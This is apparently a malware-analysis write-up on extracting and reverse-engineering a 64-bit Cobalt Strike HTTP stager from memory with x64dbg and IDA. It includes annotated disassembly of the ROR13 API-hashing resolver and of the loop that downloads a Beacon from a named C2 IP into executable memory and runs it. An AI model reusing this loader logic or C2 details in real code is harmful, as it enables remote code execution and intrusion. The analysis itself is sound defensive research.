Malware Family Analysis • Windows

Shellcode Extraction: Dumping & Reconstructing Staged In-Memory Payloads

Extract and reconstruct raw 64-bit Cobalt Strike HTTP(S) stager shellcode from memory buffers, analyzing payload execution in unmapped space.

Executive summary

▪Family / tool: Cobalt Strike
▪Component: 64‑bit HTTP(S) stager / Beacon loader
▪Platform: Windows x64 (raw shellcode, no PE headers)
▪Purpose: Retrieve a Cobalt Strike Beacon from a remote HTTP(S) C2 server, load it into RWX memory, and transfer execution in‑memory.
▪Risk: High – generic, production Cobalt Strike loader, easily reconfigured to different C2s.

Metadata

PE Sections

SectionEntropyRaw SizeCharacteristics / Notes
.text6.20518,432 BExecutable code (Main logic/loader).
.rdata4.6672,560 BRead-only initialized data (Imports/Constants).
.data0.000512 BInitialized data (Empty/Placeholder).
.pdata2.9791,024 BException handling tables (x64 specific).
.rsrc4.702512 BResources (Icons/Manifest).
.reloc0.154512 BRelocation table.
.ATOM7.8038,192 BHigh Entropy - Target for Shellcode.

Imports

Function NameLibraryType
HeapAllocKERNEL32.dllimplicit
HeapFreeKERNEL32.dllimplicit
HeapSizeKERNEL32.dllimplicit
GetProcessHeapKERNEL32.dllimplicit
UnhandledExceptionFilterKERNEL32.dllimplicit
SetUnhandledExceptionFilterKERNEL32.dllimplicit
GetLastErrorKERNEL32.dllimplicit
ReleaseSRWLockExclusiveKERNEL32.dllimplicit
ReleaseSRWLockSharedKERNEL32.dllimplicit
TryAcquireSRWLockExclusiveKERNEL32.dllimplicit
SetCriticalSectionSpinCountKERNEL32.dllimplicit
WakeAllConditionVariableKERNEL32.dllimplicit
GetMenuUSER32.dllimplicit
GetSystemMenuUSER32.dllimplicit
CheckMenuItemUSER32.dllimplicit
EnableMenuItemUSER32.dllimplicit
GetMenuItemIDUSER32.dllimplicit
UpdateWindowUSER32.dllimplicit
GetWindowContextHelpIdUSER32.dllimplicit
MessageBoxAUSER32.dllimplicit
MessageBoxWUSER32.dllimplicit
MessageBeepUSER32.dllimplicit

Description

▪Stealth & Evasion: The sample exhibits strong indicators of packing or encryption. Most notably, it contains a non-standard PE section named .ATOM with an extremely high entropy of 7.803, suggesting it serves as an encrypted container for the primary payload or shellcode.
▪Missing APIs: The Import Address Table (IAT) is intentionally "clean," lacking common process injection or memory allocation APIs (e.g., VirtualAlloc, CreateRemoteThread). This indicates the malware likely employs Dynamic API Resolving to load malicious functions at runtime, bypassing basic static detection.
▪Staging Mechanism: The binary imports several heap management functions (HeapAlloc, GetProcessHeap). It is highly probable that the malware allocates heap space, copies the encrypted data from the .ATOM section into memory, and decrypts it before execution.
▪Deceptive Front: The presence of USER32.dll imports (related to menus and message boxes) suggests a "decoy" GUI functionality intended to make the file appear as a legitimate Windows utility during automated sandbox analysis.
ComponentObservationRisk Level
Section .ATOMNon-standard name; 7.803 entropy; 8KB size.Critical (Likely Payload)
Imports (IAT)Standard Heap/UI functions; no injection APIs.Suspicious (Obfuscation)
ToolingCompiled with MSVC 19.31 (VS 2022).Neutral (Modern Build)
File Size32.00 KB.High (Typical of Loaders)

Shellcode Extraction

X64 DBG

Fig 1 - X64 dbg
Figure: Fig 1 - X64 dbg Click to zoom ↗

Fig 1 - X64 dbg

Adding break points

Fig 2 - Setting breakpoints
Figure: Fig 2 - Setting breakpoints Click to zoom ↗

Fig 2 - Setting breakpoints

Fig 3 - Breakpoints
Figure: Fig 3 - Breakpoints Click to zoom ↗

Fig 3 - Breakpoints

we hit the VirtualAlloc breakpoint.

Fig 4 - hitting the breakpoint VirtualAlloc
Figure: Fig 4 - hitting the breakpoint VirtualAlloc Click to zoom ↗

Fig 4 - hitting the breakpoint VirtualAlloc

The Fourth Argument is in R9 which is PAGE_READWRITE Permission.

Fig 5 - Fourth Argument in R9
Figure: Fig 5 - Fourth Argument in R9 Click to zoom ↗

Fig 5 - Fourth Argument in R9

Fig 6 - microsoft msdn fl protect reference
Figure: Fig 6 - microsoft msdn fl protect reference Click to zoom ↗

Fig 6 - microsoft msdn fl protect reference

Execute till return ctrl + f9

Fig 7 - execute till return
Figure: Fig 7 - execute till return Click to zoom ↗

Fig 7 - execute till return

Check RAX it stores the base address of the allocated region.

Fig 8 - RAX return address
Figure: Fig 8 - RAX return address Click to zoom ↗

Fig 8 - RAX return address

Follow the RAX address in memory dump. Then begin executing individual instructions to see any of them changes to this recently allocated memory. Debug —> Step over (F8)

Fig 9 - Debug - Step over
Figure: Fig 9 - Debug - Step over Click to zoom ↗

Fig 9 - Debug - Step over

we can observe some XOR operations.

Fig 10 - xor operations.
Figure: Fig 10 - xor operations. Click to zoom ↗

Fig 10 - xor operations.

Click on the instruction immediately after the loop ends. Run until selection

Fig 11 - Run until Selection
Figure: Fig 11 - Run until Selection Click to zoom ↗

Fig 11 - Run until Selection

Fig 12 - Instruction after loop
Figure: Fig 12 - Instruction after loop Click to zoom ↗

Fig 12 - Instruction after loop

Scroll down a bit We can see some readable data in dump.

Fig 13 -Some readable data
Figure: Fig 13 -Some readable data Click to zoom ↗

Fig 13 -Some readable data

There’s a ip address

Fig 14 - IP
Figure: Fig 14 - IP Click to zoom ↗

Fig 14 - IP

The opcode starts with FC. Commonly starts at the beginning of a shell code.

Fig 15 - starting of the opcode.
Figure: Fig 15 - starting of the opcode. Click to zoom ↗

Fig 15 - starting of the opcode.

Fig 16 - FC opcode
Figure: Fig 16 - FC opcode Click to zoom ↗

Fig 16 - FC opcode

We can see it by right click on opcode follow in Disassembler.

Fig 17 - Follow opcode in disassembler
Figure: Fig 17 - Follow opcode in disassembler Click to zoom ↗

Fig 17 - Follow opcode in disassembler

now hit run will get to VirtualProtect

Fig 18 - VirtualProtect
Figure: Fig 18 - VirtualProtect Click to zoom ↗

Fig 18 - VirtualProtect

Check RCX which stores the First argument.

Fig 19 - RCX - stores 1st argument
Figure: Fig 19 - RCX - stores 1st argument Click to zoom ↗

Fig 19 - RCX - stores 1st argument

another is R8 which 20 that specifies memory protection constant. Which is PAGE_EXECUTE_READ

Fig 20 - r8 memory protection
Figure: Fig 20 - r8 memory protection Click to zoom ↗

Fig 20 - r8 memory protection

Fig 21 - 0x20 - msdn refernce -
Figure: Fig 21 - 0x20 - msdn refernce - Click to zoom ↗

Fig 21 - 0x20 - msdn refernce -

Dumping

Follow in Memory map.

Fig 22 - Follow in memory map
Figure: Fig 22 - Follow in memory map Click to zoom ↗

Fig 22 - Follow in memory map

Fig 23 - Memory map
Figure: Fig 23 - Memory map Click to zoom ↗

Fig 23 - Memory map

Dump memory to file

Fig 24 - Dump memory to file.
Figure: Fig 24 - Dump memory to file. Click to zoom ↗

Fig 24 - Dump memory to file.

Save it.

Fig 25 - Save Memory Region
Figure: Fig 25 - Save Memory Region Click to zoom ↗

Fig 25 - Save Memory Region

stage‑2

IDA Pro Analysis

we can see opcode FC which we saw in the dumping stage.

Fig 26 - IDA
Figure: Fig 26 - IDA Click to zoom ↗

Fig 26 - IDA

wininet api in reverse order.

API hashing

Uses a hash-based resolver (calls through a function pointer, observed as call rbp with a hash constant in r10d) to locate required WinAPI exports at runtime.

Fig 27 - Api hashing
Figure: Fig 27 - Api hashing Click to zoom ↗

Fig 27 - Api hashing

Fig 28 - win api’s
Figure: Fig 28 - win api’s Click to zoom ↗

Fig 28 - win api’s

Description

▪Type: Staged C2 loader (Cobalt Strike Beacon stager)
▪Execution: In‑memory shellcode (dumped via x64dbg)
▪Imports: None – all WinAPI functions are resolved dynamically through hashing.
▪Main capabilities:
▪PEB‑based module enumeration and export parsing.
▪ROR13‑based API hashing for kernel32, wininet, and likely others.
▪HTTP(S) download of Beacon payload using WinINet.
▪In‑memory de‑staging and execution via VirtualAlloc and function pointer return.

API hashing and resolver (Cobalt‑style)

Algorithm: 32‑bit ROR13 + ADD, module + function hash added together.

▪Module hash:
▪Iterates UNICODE module name bytes (UTF‑16LE) from the PEB loader list.
▪Per byte:
▪If ASCII a–z, uppercase (b -= 0x20).
▪h = ROR32(h, 13) + b.
▪Function hash:
▪Iterates ASCII export name bytes:
▪h = ROR32(h, 13) + b.
▪Combined:
▪final = module_hash + func_hash (32‑bit wraparound), compared to constant in r10d.

Resolver snippet (IDA):

NASM
0   and     rsp, 0FFFFFFFFFFFFFFF0h
; PEB walk
11  xor     rdx, rdx
14  mov     rdx, gs:[rdx+60h]       ; PEB
19  mov     rdx, [rdx+18h]          ; PEB_LDR_DATA
1D  mov     rdx, [rdx+20h]          ; InMemoryOrderModuleList
21  mov     rsi, [rdx+50h]          ; UNICODE name base
25  movzx   rcx, word ptr [rdx+4Ah] ; length

; hash module name bytes (UTF‑16, uppercased)
2A  xor     r9, r9
2D  xor     rax, rax
30  lodsb
31  cmp     al, 61h
33  jl      short loc_37
35  sub     al, 20h                 ; to upper
37  ror     r9d, 0Dh
3B  add     r9d, eax
3E  loop    loc_2D

; hash export name, add module hash, compare to r10d
80  lodsb                           ; ASCII function name
81  ror     r9d, 0Dh
85  add     r9d, eax
...
8C  add     r9, [rsp+8]             ; + module hash
91  cmp     r9d, r10d               ; r10d = target hash
94  jnz     short loc_6E
...
C4  jmp     rax                     ; jump to resolved API

This is the standard Cobalt/Metasploit‑style resolver pattern.

Resolved APIs and behavior (Cobalt Strike stager)

Using HashDB + call semantics, the main hashes map to:

Hash ValueGuessed/Confirmed APIDLL LibraryTypical Malware Behavior
0x0726774CLoadLibraryAKERNEL32Loading additional DLLs into memory.
0xA779563AInternetOpenAWININETInitializing an internet session.
0x3B2E55EBInternetOpenUrlAWININETConnecting to a specific C2 (Command & Control) URL.
0xE553A458VirtualAllocKERNEL32Allocating memory for a secondary payload or buffer.
0xE2899612InternetReadFileWININETDownloading the next stage of the malware.
0x7B18062DInternetConnectAWININETEstablishing a connection to a specific server/port.
0x56A2B5F0HttpOpenRequestAWININETPreparing a specific GET/POST request.
0xC69F8957HttpSendRequestAWININETSending the request to the remote server.

WinINet setup and C2 connection

NASM
D5  mov     r14, 'teniniw'         ; "wininet" backwards
DF  push    r14
E4  mov     rcx, rsp               ; "wininet"
E7  mov     r10d, 0x0726774C       ; LoadLibraryA
ED  call    rbp                    ; LoadLibraryA("wininet")

FF  mov     r10d, 0xA779563A       ; InternetOpenA
105 call    rbp                    ; hInternet = InternetOpenA(...)

Then in sub_128

NASM
129 mov     rcx, rax               ; rcx = hInternet
...
136 push    0FFFFFFFF84400200h
13D mov     r10d, 0x3B2E55EB       ; InternetOpenUrlA
143 call    rbp                    ; rsi = hUrl / hFile
...
14C push    0Ah
14E pop     rdi                    ; retry count = 10

; retry loop around another WinINet hash (likely HttpSendRequestA)
161 mov     r10d, 0x7B18062D
167 call    rbp
169 test    eax, eax
16B jnz     loc_30E                ; success → allocate & read
171 dec     rdi
174 jz      loc_306                ; max retries exceeded
17A jmp     short 14F              ; retry

The target URL (from embedded data) is:

▪C2 IP: 45.61.136.220
▪Path: /KbWY
▪User‑Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.0; Trident/5.0)

Typical Cobalt Strike HTTP profile style.

Stage‑2 download and Beacon load

NASM
30E xor     rcx, rcx               ; lpAddress = NULL
311 mov     edx, 400000h
316 mov     r8d, 1000h             ; MEM_COMMIT
31C mov     r9d, 40h               ; PAGE_EXECUTE_READWRITE
322 mov     r10d, 0xE553A458       ; VirtualAlloc
328 call    rbp                    ; rax = RWX buffer
32A xchg    rax, rbx               ; rbx = write ptr

32C push    rbx
32D push    rbx
32E mov     rdi, rsp               ; rdi = &bytesRead

; InternetReadFile loop (Cobalt staging)
331 mov     rcx, rsi               ; hFile
334 mov     rdx, rbx               ; buffer ptr
337 mov     r8d, 2000h             ; chunk size
33D mov     r9,  rdi               ; &bytesRead
340 mov     r10d, 0xE2899612       ; InternetReadFile
346 call    rbp

34C test    eax, eax
34E jz      short loc_306          ; on error → error path

350 mov     ax, [rdi]              ; bytesRead
353 add     rbx, rax               ; advance write ptr
356 test    eax, eax
358 jnz     short 331              ; repeat until bytesRead == 0

; pivot into downloaded Beacon
35A pop     rax
35B pop     rax
35C pop     rax
363 push    rax
364 retn                            ; return into Beacon

Network and behavioral indicators (Cobalt Strike)

▪C2:
▪IP: 45.61.136.220
▪URI: /KbWY
▪HTTP profile:
▪User‑Agent string mimics legacy IE9 / Trident.
▪Cobalt Strike HTTP stagers commonly use short, pseudo‑random URIs and configurable HTTP headers.
▪Behavior:
▪Uses WinINet instead of raw sockets (typical of Cobalt’s default stagers).
▪Only a small, in‑memory shellcode is required in the initial infection; the full Beacon body is obtained from C2.

MITRE ATT&CK mapping (with Cobalt Strike context)

Fig 29 - MITRE ATTACK
Figure: Fig 29 - MITRE ATTACK Click to zoom ↗

Fig 29 - MITRE ATTACK

Assessment

This sample is a Cobalt Strike x64 HTTP stager. Its sole job is to bootstrap a Beacon from a remote C2, using hashed API resolution and in‑memory loading to evade static detection and reduce its on‑disk footprint. The main security impact comes from the Beacon stage; however, the stager itself is a strong, high‑confidence indicator of Cobalt Strike activity in the environment.

Copied